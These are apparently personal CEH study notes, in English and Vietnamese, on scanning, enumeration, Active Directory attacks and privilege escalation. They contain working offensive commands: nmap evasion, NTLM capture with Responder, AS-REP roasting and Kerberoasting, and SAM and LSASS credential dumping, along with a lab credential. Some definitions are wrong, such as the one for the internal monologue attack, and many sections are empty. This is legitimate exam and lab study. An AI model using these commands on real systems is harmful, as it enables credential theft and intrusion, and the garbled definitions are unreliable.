# CEH
## General
* Confidentiality Keeping systems and data from being accessed, seen, read to anyone who is not authorized to do so. Information is accessible only to the autorized personnel.
* Integrity TRUSTWORTHINESS OF DATA OR RESOUCES: Protect the data from modification or deletion by unauthorized parties, and ensuring that when authorized people make changes that shouldn't have been made the damage can be undone.
* Availability ACCESSIBLE WHEN REQUIRED BY AUTHORIZED USERS: Systems, access channels, and authentication mechanisms must all be working properly for the information they provide and protect to be available when needed.
* Authenticity Refers to the characterstic of a communication, document, or any data that ensures the quality of being geniune.
## Network
https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/2-Scanning-Networks/2-TTL.md
TTL: time to live
64: linux
128: windows
ping -c 10 \<target IP\>
### Scan



ACK scan: check existence of FW and its rule set.whereas a sophisticated stateful firewall(k dùng dc) does not allow the establishment of a connection.
TCP timestamp option set
* là một tùy chọn được gửi trong gói tin TCP để cung cấp thông tin về thời gian của gói tin(tạo ra hoặc xử lý)
* phát hiện và ngăn chặn các loại tấn công như SYN flooding (lượng lớn các gói tin SYN trong một khoảng thời gian ngắn từ một nguồn IP) hay TCP sequence prediction attacks(sử dụng giá trị timestamp để tạo ra các số thứ tự TCP dựa trên một giá trị không dự đoán được), cũng như hỗ trợ trong việc đồng bộ hóa thời gian giữa các hệ thống.
Lỗ hỏng bảo mật
* Fingerprinting hệ thống: phân biệt và xác định loại hệ thống mà gói tin đang được gửi từ đó.
* Tấn công theo dõi vận chuyển gói tin: theo dõi quá trình truyền packet tin trong mạng, bao gồm cả việc xác định info về tốc độ và mô hình truyền tải dữ liệu. Điều này có thể được sử dụng để thu thập thông tin nhạy cảm về cấu trúc mạng và dữ liệu.
* Tấn công về quản lý tài nguyên: Nếu một hacker gửi các gói tin với timestamp giả mạo, đó có thể làm cho các máy chủ overload do phải xử lý các invalid timestamp req.

### Host discovery


### Port discovery





### IP Decoy
Firewalls and IDS detect normal scanning attempts on the target network. However, you can use the IP address decoy technique to avoid detection.
https://github.com/Samsar4/Ethical-Hacking-Labs/blob/master/2-Scanning-Networks/5-NmapDecoyIP.md
* **IP Fragmentation**: `nmap -f <Target IP Address>`
* **Perform Maximum Transmission Unit**: This command is used to transmit smaller packets instead of sending one complete packet at a time.This scan is very similar to the previous one but with Maximum Transmission Unit (-mtu) and 8 bytes of packets.`nmap -mtu 8 <Target IP Address>`
* **Decoying IP address**: This command is used to scan multiple decoy IP addresses. Nmap will send multiple packets with different IP addresses, along with your attacker's IP address.`nmap -D RND:10 <Target IP Address>`
### Port scanning countermeasures

### Banner Grabbing countermeasures

### IP spoofing detection




## Enumeration
https://github.com/imrk51/CEH-v11-Study-Guide/blob/main/modules/3-Scanning-Networks.md
### Shared resource

### Service and port


### SNMP


### LDAP



### NTP


`nmap -sU -pU:123 -Pn -n --script=ntp-monlist <target>`
### Linux user enum

### Enumeration countertreasure



### Domain enum (110/module6)
Những lệnh này là module cài thêm, không phải máy windows nào cũng có.

tắt tính năng giám sát thời gian thực của Windows Defender.
Cụ thể, nó có thể:
* Quét các tệp tin và chương trình được tải xuống từ internet hoặc email để phát hiện malware.
* Giám sát các hoạt động của các ứng dụng và quy trình để phát hiện các hành vi đáng ngờ của malware.
* Theo dõi các cố gắng truy cập vào các tài nguyên hệ thống như tệp tin hệ thống hoặc registry để phát hiện các hoạt động tấn công.






## Definition
CVE:Common Vulnerabilities and Exposures
NVD(National Vulnerability Database)
CWE:Common weakness enumeration
### Vul assessment

## Gaining Access (module 6)

### Type of password attack

LLMNR poisoning: victim gõ nhầm tên web
internal monologue attack: kẻ tấn công có thể thực hiện các hoạt động để làm cho nạn nhân tin rằng họ đang nghĩ hoặc nói một điều gì đó mà họ không thực sự muốn.
## Windows

Sau đây là mô tả quá trình xác thực NTLM khi đăng nhập vào máy tính **A** và truy cập dịch vụ SMB trên máy chủ **B** trong domain
1. Khi đã login, thì plaintext password được lưu trong memory dưới dạng password hash (NTLM hash)
2. Đầu tiên client sẽ gửi gói NEGOTIATE để bắt đầu quá trình xác thực.
3. Server sẽ gửi challenge là một con số ngẫu nhiên về cho client.
4. Client sẽ encrypt challenge đó bằng password hash và gửi cho server. Mình sẽ gọi nó là NTLM response
5. Server sẽ gửi challenge và NTLM response cho DC để nhờ DC xác thực
6. DC dùng password hash có sẵn trong `NTDS.dit` để encypt challenge và nếu ra đúng giá trị NTLM response nhận được thì authen thành công
7. Sau đó client và server có thể nói chuyện với nhau
### Steal NTLM response
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast
#### Idea
NTLM response = encrypt(challenge, passwd hash)
Ta biết:
- NTLM Response
- challenge
Chưa biết:
- password hash
Để crack:
1/ chuẩn bị wordlist
2/ hash plaintext password
3/ tính encrypt(challenge, hash plaintext password ở step 2)
4/ so sánh với NTLM Reponse, nếu bằng nhau -> đây là password đúng
#### check signing (kí số vào các thông điệp SMB)
https://www.thehacker.recipes/ad/movement/ntlm/relay
crackmapexec smb $target
#### Responder tool
```
impacket-smbserver SHARE . -smb2support
http://school.flight.htb/index.php?view=\\10.10.14.4\SHARE\test
john test --wordlist=./rockyou.txt
hashcat test /usr/share/wordlists/rockyou.txt
```
https://0xdf.gitlab.io/2023/05/06/htb-flight.html
`sudo responder -I tun0 -wrfv`
list domain user
```
lookupsid.py flight.htb/svc_apache:'S@Ss!K@*t13'@flight.htb
lookupsid.py flight.htb/svc_apache:'S@Ss!K@*t13'@flight.htb | grep SidTypeUser | cut -d' ' -f 2 | cut -d'\' -f 2 | tee users
```
#### XSS
https://0xdf.gitlab.io/2019/01/13/getting-net-ntlm-hases-from-windows.html
#### NetNTLM2
https://0xdf.gitlab.io/2023/05/06/htb-flight.html
If user use long random passwords -> ask the machine for a ticket.
#### Another case
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
### AS-REP Roasting
https://0xdf.gitlab.io/2020/03/21/htb-forest.html#as-rep-roasting
`for user in $(cat users); do GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; done `
xài dc khi admin tắt chế độ pre-auth cho user
Purpose: để debug và support cho hệ thống cũ
### Kerberos roasting (cracking TGS)
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast#cracking
https://www.netwrix.com/cracking_kerberos_tgs_tickets_using_kerberoasting.html
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting
mục tiêu lấy service account key để attack service khác
crack service account key
#### with a password
`GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'`
#### with an NT hash
`GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'`
lấy dc dữ liệu của service
truy cập vào service dưới quyền Domain admin ( tạo service ticket tùy ý)
truy cập vào service bằng passwd vừa crack dc
### LLMNR
* LLMNR là một giao thức mạng dự phòng được sử dụng trong mạng cục bộ của Windows khi DNS (Domain Name System) không khả dụng.
* Khi một máy tính không thể giải quyết một tên máy chủ bằng cách sử dụng DNS, nó sẽ sử dụng LLMNR để gửi một yêu cầu đa phát đến các máy tính khác trong mạng cục bộ để tìm kiếm tên máy chủ.



https://tcm-sec.com/llmnr-poisoning-and-how-to-prevent-it/
### Dump credential
gpedit.msc
https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/
```
cd c:\
mkdir Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system
cd Temp
download sam
download system
pypykatz registry --sam sam system
MagnusKatz(another like pypykatz and mimikatz)
```
#### registry hives
https://0xdf.gitlab.io/2019/09/07/htb-bastion.html#privesc-to-administrator
https://github.com/fortra/impacket/blob/master/examples/secretsdump.py
file SAM and system
mRemoteNG is a remote connection management tool, and it allows the user to save passwords for various types of connections
#### Dump LSASS
https://juggernaut-sec.com/dumping-credentials-lsass-process-hashes/
https://hackmd.io/@CP04042K/SyBeBluis#Command-and-Control-CampC-Frameworks
net use Z: https://live.sysinternals.com
#dump by the PID of the LSASS process (better)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
pypykatz lsa lsass.dmp
https://helich0pper.github.io/blackfield/
lsass.dmp --> mimikatz
https://www.hackingarticles.in/metasploit-for-pentester-mimikatz/
## Pwn(module 6)
### Buffer overflow

https://cbjs-exploit101-notebook.notion.site/Buffer-Overflow-in-Windows-14eb6a57f7874d129ba505f625c87e23
#### ROP
Gọi đến /bin/sh có sẵn trong lib thay vì inject shell code.
https://axcheron.github.io/writeups/mbe/lab5c/
NX (enable) reuse the existing code! This technique is called ROP or Return Oriented Programming.
https://drx.home.blog/2019/04/07/pwnable-tw-calc/
NX (enable) sẽ không cho phép 1 vùng nhớ nào đó có cả 2 quyền writeable và executable. Vùng .text chứa code chỉ có thể execute mà không thể write
## Privelege Escalation
### DLL poisoning
### System vul
### Name pipe
https://cbjs-exploit101-notebook.notion.site/Lateral-Movement-via-Remote-Service-f3bcf519dd114c7ca253805c3a484e9e
### Misconfigured
#### Permission
user thường có thể chỉnh sửa service đang chạy dưới quyền admin
### Unquotd service path
https://www.ired.team/offensive-security/privilege-escalation/unquoted-service-paths
### NFS(Network File System port 2049)


### Sticky key(155)
###
bypass
#### Integrety
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/integrity-levels
(I):"Inheritable". Nó chỉ ra xem quyền này có được kế thừa từ cấp cha hay không.
(F):"Full Control".
(M):"Modify".
(RX): Read & execute - Quyền đọc và thực thi các tệp.
(W): Write - Quyền ghi và sửa đổi các tệp.
(D): Delete - Quyền xóa các tệp và thư mục.
(DC):"Delete Child"
(WDAC): Write DAC - Quyền thay đổi quyền truy cập cho các đối tượng.
(WO): Write owner - Quyền thay đổi chủ sở hữu của các đối tượng.
(S): Synchronize - Quyền đồng bộ hóa các đối tượng.
#### Bypass(159 module 6)
https://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control
The UAC bypass is needed in the following situation:
* The UAC is activated, your process is running in a **medium integrity** context, and your user belongs to the **administrators group**.
It is important to mention that it is much harder to bypass the UAC if it is in the highest security level (Always) than if it is in any of the other levels (Default).
If UAC is already disabled (ConsentPromptBehaviorAdmin is 0) you can execute a reverse shell with admin privileges (high integrity level) using something like:
https://www.socinvestigation.com/how-to-detect-privilege-escalation-attacks-and-uac-bypass-on-windows/
### Abusing boot or login initialization

### Modify domain policy(164 module 6)


## Detect rootkit(243 module 6)
* Integrity-based: include signature and heuristic
* Signature-based
* Heuristic/Behavior-base
* Runtime Execution Path profilling: compare runtime exec.
* Cross-View-Based Detection
* Alternative trusted medium
* Analyzing memory dumps
## Post-exploitation
### Linux inforamtion gathering (316 module 6)


### Windows(317)
## Cover track(324)
Auditpol

(336)


https://subscription.packtpub.com/book/security/9781788838979/1/ch01lvl1sec12/http-reverse-shell
https://cryptsus.com/blog/icmp-reverse-shell.html

(345 conver forensic)

